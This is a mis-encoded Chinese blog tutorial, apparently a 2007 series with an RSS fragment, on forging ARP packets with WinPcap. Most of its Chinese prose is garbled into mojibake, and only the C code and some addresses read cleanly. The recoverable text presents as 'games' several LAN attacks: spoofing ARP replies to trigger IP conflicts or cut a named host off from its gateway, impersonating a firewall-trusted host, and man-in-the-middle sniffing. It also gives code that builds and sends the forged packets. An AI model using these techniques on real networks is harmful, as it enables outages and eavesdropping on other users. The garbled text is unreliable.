聽聽聽 鍥涖侫RP鍖呯殑娓告垙

聽聽聽聽聽 1聽.聽 聽灝忎紟淇?/font>

聽聽聽聽聽 2.聽 聽 ARP嬈洪獥鐨勫疄鐜?/font>

聽聽聽聽聽 3.聽聽 鍩轟簬ARP嬈洪獥鐨勭洃鍚師鐞?/font>

鍥涳紟ARP鍖呯殑娓告垙

鏃㈢劧鎴戜滑鍙互鑷繁鏉ュ~鍏呮暟鎹寘錛岄偅涔堟潵鐜╀簺 ARP 鐨勨滃皬娓告垙鈥濇楠楀氨鏄槗濡傚弽鎺屼簡錛屽綋鐒訛紝鏄湪娌℃湁瀹夊叏闃叉姢鐨勭綉緇滈噷 錛屾瘮濡傚彧鏈?/span> hub 鎴栬呬氦鎹㈡満鎶婁綘浠浉榪烇紝鑰屾病鏈夎礬鐢卞垎孌?/span> 鈥︹_^

涓嬮潰鎴戝氨鐢辨祬鍏ユ繁鐨勮涓浜涗粙緇嶄竴浜涘叧浜?/span> ARP 鐨勫皬浼庝咯銆?/span>

1. 灝忎紟淇?/span>

1)聽聽聽聽聽聽 浣犲彲浠ヨ瘯鐫鍙戜竴涓姹傚寘騫挎挱錛屽叾涓殑 ARP 甯ч噷鍏充簬浣犵殑淇℃伅濉垚榪欐牱錛?/span>

( 涓轟簡鑺傜渷綃囧箙錛屾垜鍙啓闇瑕佺壒鍒寚鍑虹殑濉厖瀛楁 )

鍙戦佹柟MAC

6

闅忎究涔卞~涓涓敊璇殑

鍙戦佹柟IP

4

濉笂浣犵殑IP

聽聽 鍑虹幇浠涔堢粨鏋滐紵鏄笉鏄脊鍑轟竴涓?/span> IP 鍦板潃鍐茬獊鐨勬彁紺猴紵鍛靛懙錛屽悓鏍風殑閬撶悊錛屽鏋滃彂閫佹柟 IP 濉垚鍒漢鐨勶紝鐒跺悗姣忛殧 1 縐掑彂涓嬈?/span> 鈥︹︹?.-_-b

2)聽聽聽聽聽聽 姣斿浣犱滑閮介潬涓涓綉鍏?/span> 192.168.0.1 涓婄綉 錛屽鏋滀綘鎯寵 192.168.0.77 涓婁笉浜嗙綉錛屽氨鍙互浼鎴愮綉鍏崇粰 192.168.0.77 鍙戜竴涓敊璇殑 ARP 鍝嶅簲鍖?/span> , like this

鍙戦佹柟MAC

6

闅忎究涔卞~涓涓敊璇殑

鍙戦佹柟IP

4

緗戝叧IP 192.168.0.1

鎺ユ敹鏂瑰氨濉?/span> 192.168.0.77 鐨勭浉鍏充俊鎭紝鍙戦佷箣鍚庯紝瀹冭繕鑳戒笂緗戜笉錛?/span>

榪欐牱鑳芥姌鑵句粬濂戒竴闃靛瓙浜嗭紝鍙瀹冪殑緋葷粺寰椾笉鍒版紜殑鍒扮綉鍏崇殑 ARP 鏄犲皠琛ㄥ畠灝變竴鐩翠笂涓嶄簡緗戜簡 ^_^

聽聽聽聽聽聽聽聽 聽 鍛靛懙綾諱技鐨勪紟淇╄繕鏈夊緢澶氾紝涓嶈繃鍙仠鐣欏湪榪欑偣涓滆タ涓婁篃娌′粈涔堟剰鎬濓紝榪樻槸鐪嬬湅紼嶅井楂樻繁涓鐐圭殑鍚?/span> ^_^

聽聽聽聽聽聽 2.聽聽聽聽聽聽聽 ARP 嬈洪獥

鍥犱負鍦ㄤ互澶綉閲岋紝緗戠粶璁懼灝辨槸闈?/span> MAC 淇℃伅鏉ヨ瘑鍒殑璁$畻鏈虹殑錛屾瘮濡?/span> A 鐢佃剳鐭ラ亾 MAC 鍦板潃涓?/span> 22-22-22-22-22-22 鐨勭數鑴戞槸 B 錛岃屽鏋滄垜緇?/span> A 鍙戦佷竴涓?/span> ARP 鍝嶅簲鍖咃紝鍛婅瘔瀹冩垜鐨?/span> MAC 鏄?/span> 22-22-22-22-22-22 鐨勮瘽錛?/span> A 鍚屾牱浼氳涓烘垜鐨勮綆楁満鏄?/span> B 浜嗭紝閭d箞濂斤紝鎴戜滑璁炬兂鏈夎繖涔堜竴涓幆澧冿紝

A 鐨勯槻鐏鍙 IP 涓?/span> 192.168.0.2 MAC 涓?/span> 22-22-22-22-22-22 鐨?/span> B 鏈変俊浠誨叧緋伙紝鑰屼笖 A 鎵撳紑浜?/span> 21 绔彛鎻愪緵 FTP 鏈嶅姟錛屾甯告儏鍐典笅鍥犱負闃茬伀澧欑殑緙樻晠鎴戜滑鐨勮綆楁満鏄繛涓嶅埌 A 鐨勶紝

浜庢槸鎴戜滑鎯沖姙娉曡 B down 鎺夛紝鎴栬呭湪瀹冨叧鏈虹殑鏃跺欙紝鎴戜滑鎶婃垜浠殑 IP 鏀規垚 B 鐨?/span> 192.168.0.2 錛岀劧鍚庣粰 A 鍙戦佷竴涓?/span> ARP 鍥炲簲鍖咃紝鍛婅瘔 A 鏇存柊涓涓?/span> ARP 緙撳瓨鍒楄〃錛?/span> 192.168.0.2 鐨?/span> IP 鏄犲皠鍒版垜浠殑
MAC
鍦板潃涓婃潵錛屼簬鏄紝濂囪抗鍑虹幇浜嗭紝鎴戜滑鍙互榪炲埌 A 鐨?/span> FTP 涓婁簡錛岄槻鐏澶辨晥浜?/span> ^_^

涓嶈繃榪欎釜鍔炴硶鍙兘鍦ㄥ悓緗戞鍐呯敓鏁堬紝濡傛灉鎴戜滑鍜?/span> A 涓嶅湪涓涓綉孌靛唴錛岄偅灝辮澶嶆潅鐨勫浜嗭紝榪樿閰嶅悎 ICMP 鐨勯噸瀹氬悜鏉ユ帶鍒舵姤鏂囩殑璺敱錛岃繖涓垜鍑嗗鍦ㄤ互鍚庨槓榪?/span> ICMP 鍖呯殑鏃跺欒緇嗚瑙o紝灝變笉鍐嶆澶氳浜嗐?/span>

聽聽聽 3.聽聽聽聽聽聽聽 鍩轟簬 ARP 嬈洪獥鐨勭洃鍚師鐞?/span>

鐩戝惉鐨勬妧鏈湁寰堝浜嗭紝涓嶈繃鎴戜滑甯哥敤鐨?/span> sniffer 宸ュ叿鍙兘鍦ㄥ熀浜?/span> hub 鐨勭綉緇滀腑璧蜂綔鐢紝紕板埌鍝曟槸浜ゆ崲鏈洪兘鏃犺兘涓哄姏浜嗭紝榪欎釜鏃跺欐垜浠殑 ARP 嬈洪獥鎶鏈氨媧句笂鐢ㄥ満浜嗐?/span>

榪樻槸鍋囪鏈変笁鍙頒富鏈?/span> A,B, 榪樻湁鎴戜滑鐨勪富鏈猴紝浣嶄簬鍚屼竴涓氦鎹㈠紡灞鍩熺綉涓?/span>

A 涓?/span> B 姝e湪閫氫俊錛屽鏋滄垜浠兂瑕佸埡鎺?/span> A 鈥曗?/span> >B 閫氫俊鐨勫唴瀹癸紝浜庢槸鎴戜滑灝卞彲浠ョ粰 A 鍙戦佷竴涓吉閫犵殑 ARP 鍥炲簲鍖咃紝鍛婅瘔 A 錛?/span> B 鐨?/span> IP 瀵瑰簲鐨?/span> MAC 鏉$洰涓烘垜浠殑 MAC 鍦板潃錛屼簬鏄紝 A 涔熷氨浼氱浉搴旂殑鍒鋒柊鑷繁鐨?/span> ARP 緙撳瓨錛屽皢鍙戠粰 B 鐨勬暟鎹紝婧愭簮涓嶆柇鐨勫彂閫佸埌鎴戜滑鐨勪富鏈轟笂鏉ワ紝榪欐牱鎴戝氨鍙互瀵規帴鏀跺埌鐨勬暟鎹寘榪涜鍒嗘瀽灝卞ソ浜嗭紝杈懼埌浜嗙洃鍚殑鐩殑銆傚綋鐒訛紝鍥犱負鍔ㄦ?/span> ARP 緙撳瓨鏄姩鎬佺殑錛屾湁瓚呮椂鏃墮棿鐨勶紝鎵浠ユ垜浠繀欏繪瘡闅斾竴孌墊椂闂村氨緇?/span> A 鍙戦佷竴涓?/span> ARP 鍥炲簲鍖?/span>

铏界劧鎴戜滑榪欐牱杈懼埌浜嗙洰鐨勶紝浣嗘槸 A 鍒?/span> B 鐨勯氫俊鍗磋鍋滄浜嗭紝涓轟簡涓嶈 B 鍙戠幇錛屾垜浠繕瑕佸姣忔鎺ユ敹鍒扮殑鏁版嵁鍖呰繘琛岃漿鍙戯紝鍏ㄩ儴閮借漿鍙戠粰 B 錛岃繖鏍峰氨澶╄。鏃犵紳浜?/span> ^_^

鍚屾牱鐨勶紝濡傛灉鎴戜滑榪樻兂鐩戝惉 B A 鐨勬暟鎹寘錛屼竴鏍風粰 B 鍙戜竴涓?/span> ARP 鍥炲簲鍖咃紝鍛婅瘔 B 錛?/span> A 鐨?/span> IP 瀵瑰簲鐨?/span> MAC 鏄垜浠殑涓繪満 MAC 錛屼簬鏄?/span> B 鍒?/span> A 鐨勬暟鎹寘涔熸簮婧愪笉鏂殑鍙戝埌鎴戜滑鐨勪富鏈轟笂鏉ヤ簡錛屽綋鐒舵垜浠篃鏄竴鏍瘋瀵硅繖浜涙暟鎹寘榪涜杞彂錛屽鍥撅細

A聽聽<------>聽 鎴戜滑鐨勪富鏈?/span> 聽 聽<------>聽 聽B

涓鍒囬兘鏃犺鐨勮瘽錛?/span> A 鍜?/span> B 鐨勯氫俊鍐呭灝辮繖鏍蜂笉鐭ヤ笉瑙夌殑琚垜浠洃鍚埌浜?/span> ^_^

鍏蜂綋鐨勪唬鐮佸疄鐜扮敱浜庣瘒騫呯殑鍏崇郴鎴戝氨涓嶆斁鍦ㄨ繖閲岃浜嗭紝濡傛灉闇瑕佹垜灝變笓闂ㄥ彟鍐欑瘒鏂囩珷闄勪笂瀹屾暣浠g爜鍚?/span>

鑷蟲錛屾垜浠殑 ARP 鍩虹鐭ヨ瘑灝辮瀹屼簡錛屼絾鎰挎偍鑳戒粠涓湁鎵鏀惰幏

鍚庤錛?/span>

聽鍥犱負鏈漢寮鍙戦兘鏄嬌鐢?/span> VC++.net 2003 錛屾墍浠ユ病鏈夊畨瑁?/span> .net 鐨勬湅鍙嬫槸鎵撲笉寮宸ョ▼鐨勶紝 鍙互璇曚竴涓?/span> vckbase 涓婄殑宸ョ▼杞崲宸ュ叿錛屾湰浜烘病鏈夎瘯榪囷紝涓嶄繚璇佹湁鏁?/span>

聽聽聽聽聽聽聽 聽聽聽 聽 http://www.vckbase.com/tools/assist/prjconverter.rar

鑰屼笖鏈枃鐨勪唬鐮佷嬌鐢ㄤ簡 winpcap 寮鍙戝寘錛屾槸瑕佸彟澶栧畨瑁?/span> ainpcap 椹卞姩銆?/span>

璇昏呭彲浠ュ畨瑁呮垜浠g爜鍖呴噷鐨勯┍鍔紝涓嶈繃瀹冩洿鏂板緢蹇紝鍙互鍒板畠涓婚〉涓婂幓涓嬭澆鏈鏂扮増鏈?/span>

聽聽聽聽聽聽聽 http://winpcap.polito.it/install/default.htm

聽聽聽 涓嶅仛寮鍙戠殑璇昏咃紝鍙敤涓嬭澆騫跺畨瑁呰繖涓氨鍙互浜?/span> WinPcap auto-installer (driver +DLLs)

聽聽 鎴戠殑鍘熸枃鍙婃簮鐮佷笅杞藉湴鍧紼嶅悗璐村嚭錛岃鍏蟲敞鏈笘 ^_^

聽聽聽

聽聽聽聽 婧愮爜涓嬭澆鍦板潃錛屾柊椴滃嚭鐐夛紝闈炲父鎰熻阿 _foo 鍏勫紵鎻愪緵鐨勭┖闂?/font>

http://iunknown.com.cn/csdn/network/ARPPlayer_By_PiggyXP.rar



椋為笩 2007-02-16 15:49 鍙戣〃璇勮
]]>
錛堣漿錛夋墜鎶婃墜鏁欎綘鐜╄漿ARP鍖咃紙涓夛級銆愭暟鎹寘鐨勬父鎴忕郴鍒椾箣涓銆?/title><link>http://www.tkk7.com/yczz/articles/100056.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 16 Feb 2007 07:45:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100056.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100056.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100056.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100056.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100056.html</trackback:ping><description><![CDATA[ <div id="2aswqag" class="postText"> <div> <font face="瀹嬩綋" color="#ff00ff" size="2">浣滆咃細</font> </div> <div> <font face="瀹嬩綋"> <font size="2"> <font color="#0000ff">CSDN聽 VC/MFC 緗戠粶緙栫▼</font> <font color="#f70909">PiggyXP</font> 聽<font color="#0909f7">^_^</font></font> </font> </div> <div> <strong> <font face="瀹嬩綋" color="#800080" size="2"> </font> </strong>聽</div> <div> <font size="2"> <font color="#ff00ff"> <strong>聽</strong> 鐩綍錛?/font> </font> <div> <font face="Times New Roman"> <strong> </strong> </font> </div> <div> <font face="Times New Roman" color="#0000ff" size="2">浜屻傚彂閫佹暟鎹寘鐨勭紪紼嬪疄鐜?/font> </div> <div> <font color="#0000ff" size="2">聽聽 1.聽 濉厖鏁版嵁鍖?/font> </div> <div> <font color="#0000ff" size="2">聽聽 2.聽 鍙戦佹暟鎹寘</font> </div> <div> <font color="#0000ff" size="2">涓夈備竴浜涢檮鍔犳楠ゅ強璇存槑</font> </div> <div> <font color="#0000ff" size="2">聽聽 1.聽 濡傛灉鍦╒C涓嬌鐢╳inpcap</font> </div> <div> <font color="#0000ff" size="2">聽聽 2.聽 鑾峰緱緗戝崱淇℃伅鍒楄〃</font> </div> <div> <font color="#0000ff" size="2">聽聽 3.聽 鑾峰緱緋葷粺ARP淇℃伅鍒楄〃</font> </div> <div> <font size="2"> </font>聽</div> <div> <font color="#666699" size="2">聽聽聽聽聽聽聽聽聽................绱ф帴涓?/font> <font color="#666699" size="2">鏂?...............</font> </div> <div> <font size="2"> </font>聽</div> <div> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'">聽聽聽聽聽聽聽 </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">濉厖鏁版嵁鍖?/span> </div> <div> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span>聽</div> <div> <font size="2">涓嬮潰鎴戜婦涓~鍏呭寘澶寸殑渚嬪瓙錛屾垜棣栧厛瀹氫箟涓簡涓涓漿鎹㈠瓧絎︾殑鍑芥暟錛屽涓?/font> </div> </div> <div> <font size="2"> </font>聽</div> <div align="left"> <font color="#5ea25e" size="2">/****************************************************************************</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽 Name & Params::</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽聽聽聽聽聽聽聽聽聽聽 formatStrToMAC</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽聽聽聽聽聽聽聽聽聽聽 (</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 const LPSTR lpHWAddrStr : 鐢ㄦ埛杈撳叆鐨凪AC鍦板潃瀛楃涓?/font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 unsigned char *HWAddr :聽聽 榪斿洖鐨凪AC鍦板潃瀛楃涓?璧嬬粰鏁版嵁鍖呯粨鏋勪綋)</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽聽聽聽聽聽聽聽聽聽聽 )</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽 Purpose:</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽*聽聽聽聽聽聽聽聽聽聽聽聽 灝嗙敤鎴瘋緭鍏ョ殑MAC鍦板潃瀛楃杞垚鏁版嵁鍖呯粨鏋勪綋闇瑕佺殑鏍煎紡</font> </div> <div align="left"> <font color="#5ea25e" size="2">聽****************************************************************************/</font> </div> <div align="left"> <font color="#2248dd" size="2">void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)</font> </div> <div align="left"> <font color="#2248dd" size="2">{</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽 unsigned int i, index = 0, value, temp;</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽 unsigned char c;</font> </div> <div align="left"> <font color="#2248dd" size="2"> </font>聽</div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽 _strlwr(lpHWAddrStr);聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽 // 杞崲鎴愬皬鍐?/font> </div> <div align="left"> <font color="#2248dd" size="2"> </font>聽</div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽 for (i = 0; i < strlen(lpHWAddrStr); i++)</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽 {</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽 c = *(lpHWAddrStr + i);</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽 聽 if (( c>='0' && c<='9' ) || ( c>='a' && c<='f' ))</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽 {</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽 聽聽 if (c>='0' && c<='9')聽 temp = c - '0';聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽// 鏁板瓧</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽 聽 if (c>='a' && c<='f')聽 temp = c - 'a' + 0xa;聽聽聽聽聽聽聽聽聽聽聽聽聽 聽// 瀛楁瘝</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 聽if ( (index % 2) == 1 )</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 {</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 value = value*0x10 + temp;</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 HWAddr[index/2] = value;</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 }</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 else value = temp;</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 index++;</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽 }</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽聽聽聽聽聽聽聽聽 聽 if (index == 12) break;</font> </div> <div align="left"> <font color="#2248dd" size="2">聽聽聽聽 聽聽 }</font> </div> <div> <font color="#2248dd" size="2">}</font> </div> <div> <font size="2"> </font>聽</div> <div> <font color="#5ea279" size="2">// 寮濮嬪~鍏呭悇涓瓧孌?/font> </div> <div> <font color="#1111ee" size="2">ARPPACKET ARPPacket;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽// 瀹氫箟ARPPACKET緇撴瀯浣撳彉閲?/font> </div> <div> <font color="#1111ee" size="2"> </font>聽</div> <div> <font color="#1111ee" size="2">聽聽聽 memset(&ARPPacket, 0, sizeof(ARPPACKET));聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽// 鏁版嵁鍖呭垵濮嬪寲</font> </div> <div align="left"> <font color="#1111ee" size="2"> </font>聽</div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 formatStrToMAC(鈥淒LC婧怣AC瀛楃涓測?ARPPacket.dlcHeader.SrcMAC);聽聽聽聽聽聽 // DLC甯уご</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 formatStrToMAC(鈥淒LC鐩殑MAC瀛楃涓測?ARPPacket.dlcHeader.DesMAC);</font> </div> <div align="left"> <font color="#1111ee" size="2"> </font>聽</div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 formatStrToMAC(鈥淎RP婧怣AC瀛楃涓測?ARPPacket.arpFrame.Send_HW_Addr);聽 // 婧怣AC</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);聽聽聽聽聽聽聽聽聽聽聽聽 聽// 婧怚P</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 formatStrToMAC(鈥淎RP鐩殑MAC瀛楃涓測?ARPPacket.arpFrame.Targ_HW_Addr); // 鐩殑MAC</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);聽聽聽聽聽聽聽聽聽聽聽聽 聽聽// 鐩殑IP</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 </font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);聽聽聽聽聽聽聽 // arp鍖呯被鍨?/font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 </font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 // 鑷姩濉厖鐨勫父閲?/font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header鐨勪互澶綉綾誨瀷</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.arpFrame.HW_Type = htons((unsigned short)1);聽聽聽聽聽聽聽聽聽聽聽// 紜歡綾誨瀷</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);聽聽聽 // 涓婂眰鍗忚綾誨瀷</font> </div> <div align="left"> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // MAC鍦板潃闀垮害</font> </div> <div> <font color="#1111ee" size="2">聽聽聽聽 ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // IP鍦板潃闀垮害</font> </div> <div> <font size="2"> </font>聽</div> <div> <font size="2">That鈥檚 all ! ^_^</font> </div> <div> <font size="2">濉厖瀹屾瘯涔嬪悗錛屾垜浠渶瑕佸仛鐨勫氨鏄妸鎴戜滑鐨凙RPPACKET緇撴瀯浣撳彂閫佸嚭鍘?/font> </div> <div> <font size="2"> </font>聽</div> <div> <font size="2">2.鍙戦丄RP鏁版嵁鍖咃細</font> </div> <div> <font size="2"> </font>聽</div> <div> <font size="2">鎴戜滑鍙戦丄RP鍖呭氨瑕佺敤鍒皐inpcap鐨刟pi浜嗭紝鍏蜂綋姝ラ鍙婂嚱鏁版槸榪欐牱鐨勶紝涓轟簡綆鍗曟槗鎳傦紝鎴戞妸閿欒澶勭悊鐨勫湴鏂歸兘鍘繪帀浜嗭紝璇﹁浠g爜</font> </div> <div align="left"> <font color="#4db34d" size="2">/**********************************************************************</font> </div> <div align="left"> <font color="#4db34d" size="2">*聽聽聽 Name & Params::</font> </div> <div align="left"> <font color="#4db34d" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 SendARPPacket()</font> </div> <div align="left"> <font color="#4db34d" size="2">*聽聽聽 Purpose:</font> </div> <div align="left"> <font color="#4db34d" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 鍙戦丄RP鏁版嵁鍖?/font> </div> <div align="left"> <font color="#4db34d" size="2">*聽聽聽 Remarks:</font> </div> <div align="left"> <font color="#4db34d" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 鐢ㄧ殑鏄痺inpcap鐨刟pi鍑芥暟</font> </div> <div align="left"> <font color="#4db34d" size="2">***********************************************************************/</font> </div> <div align="left"> <font color="#1a42e6" size="2">void SendARPPacket()</font> </div> <div align="left"> <font color="#1a42e6" size="2">{</font> </div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 char *AdapterDeviceName =GetCurAdapterName(); 聽聽聽聽// 棣栧厛鑾峰緱鑾峰緱緗戝崱鍚嶅瓧</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font>聽</div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 lpAdapter = PacketOpenAdapter(AdapterDeviceName);聽聽聽聽 // 鏍規嵁緗戝崱鍚嶅瓧鎵撳紑緗戝崱</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font>聽</div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 lpPacket = PacketAllocatePacket();聽聽聽聽聽聽聽聽聽 聽聽聽聽聽// 緇橮ACKET緇撴瀯鎸囬拡鍒嗛厤鍐呭瓨</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font>聽</div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 PacketInitPacket(lpPacket, &ARPPacket, sizeof(ARPPacket));聽//鍒濆鍖朠ACKET緇撴瀯鎸囬拡</font> </div> <div> <font color="#1a42e6" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽// 鍏朵腑鐨凙RPPacket灝辨槸鎴戜滑鍏堝墠濉厖鐨凙RP鍖?/font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font>聽</div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 PacketSetNumWrites(lpAdapter, 1);聽聽聽聽聽 聽聽聽聽聽聽聽聽聽// 姣忔鍙彂閫佷竴涓寘</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font>聽</div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 PacketSendPacket(lpAdapter, lpPacket, true)聽聽聽聽聽 聽// Send !!!!! ^_^</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font>聽</div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 PacketFreePacket(lpPacket);聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // 閲婃斁璧勬簮</font> </div> <div align="left"> <font color="#1a42e6" size="2">聽聽聽聽 PacketCloseAdapter(lpAdapter);</font> </div> <div> <font color="#1a42e6" size="2">}</font> </div> <div> <font size="2"> </font>聽</div> <div> <font size="2">鍛靛懙錛岃嚦姝わ紝鍏充簬ARP鍖呮渶鍏抽敭鐨勯儴鍒嗗氨璁插畬浜嗭紝浣犵幇鍦ㄥ氨鍙互鏉ラ殢蹇冩墍嬈茬殑鍙戦佽嚜宸辯殑ARP鍖呬簡</font> </div> <div> <font size="2"> </font>聽</div> <div> <font size="2">鏃㈢劧浣滀負涓綃団滅鏅枃绔犫濓紝鎺ヤ笅鏉ユ垜鍐嶈涓璁蹭笌鏁翠釜欏圭洰鏈夊叧鐨勯檮鍔犳楠や互鍙婅鏄?/font> </div> <div> <font size="2"> </font>聽</div> <div> <font color="#ff00ff" size="2">涓夛紟闄勫姞姝ラ浠ュ強璇存槑</font> </div> <div> <font color="#bba344"> <font size="2"> <font face="Times New Roman">1. </font>濡備綍鍦?font face="Times New Roman">VC</font>涓嬌鐢?font face="Times New Roman">winpcap</font>椹卞姩</font> </font> </div> <div> <font size="2"> <font face="Times New Roman">聽聽聽聽聽聽 </font>铏界劧<font face="Times New Roman">winpcap</font>寮鍙戝寘浣跨敤璧鋒潵闈炲父綆渚匡紝浣嗘槸鍓嶆湡鍑嗗宸ヤ綔榪樻槸瑕佽垂涓鐣姛澶殑錛岀己涓涓嶅彲銆?font face="Times New Roman">^_^</font></font> </div> <div> <font size="2">聽聽聽聽聽聽 棣栧厛灝辨槸瑕佸畨瑁呭畠鐨勯┍鍔ㄧ▼搴忎簡錛屽彲浠ュ埌瀹冪殑涓婚〉涓嬭澆錛屾洿鏂板緢蹇殑</font> </div> <div>聽聽聽聽 <a ><font face="Times New Roman" size="2">http://winpcap.polito.it/install/default.htm</font></a></div> <div> <font size="2">聽聽聽聽 涓嬭澆WinPcap auto-installer (driver +DLLs)錛岀洿鎺ュ畨瑁呭氨濂戒簡錛屾垨鑰呮垜鎻愪緵鐨勪唬鐮佸寘閲岄潰涔熸湁銆?/font> </div> <div> <font size="2">聽聽聽聽 甯屾湜浠ュ悗鐢╳inpcap浣滃紑鍙戠殑鏈嬪弸錛岃繕闇瑕佷笅杞?Developer's pack錛岃В鍘嬪嵆鍙?/font> </div> <div> <font size="2">聽聽聽聽 </font> </div> <div> <font size="2">聽聽聽聽聽聽聽 鐒跺悗錛岄渶瑕佽緗垜浠伐紼嬬殑闄勫姞鍖呭惈鐩綍涓烘垜浠笅杞紻eveloper's pack寮鍙戝寘鐨?font face="Times New Roman">Inclulde</font>鐩綍錛岃繛鎺ュ櫒鐨勯檮鍔犱緷璧栧簱璁劇疆涓篋eveloper's pack鐨刲ib鐩綍銆?/font> </div> <div> <font size="2">聽聽聽聽聽聽 褰撶劧錛屽洜涓烘垜浠殑宸ヤ綔姣旇緝綆鍗曪紝灝辨槸鍊熺敤<font face="Times New Roman">winpcap</font>鍙戦佹暟鎹寘鑰屽凡錛屾墍浠ュ彧鐢ㄤ粠</font> </div> <div> <font size="2"> <font face="Times New Roman">winpcap</font>寮鍙戝寘鐨?font face="Times New 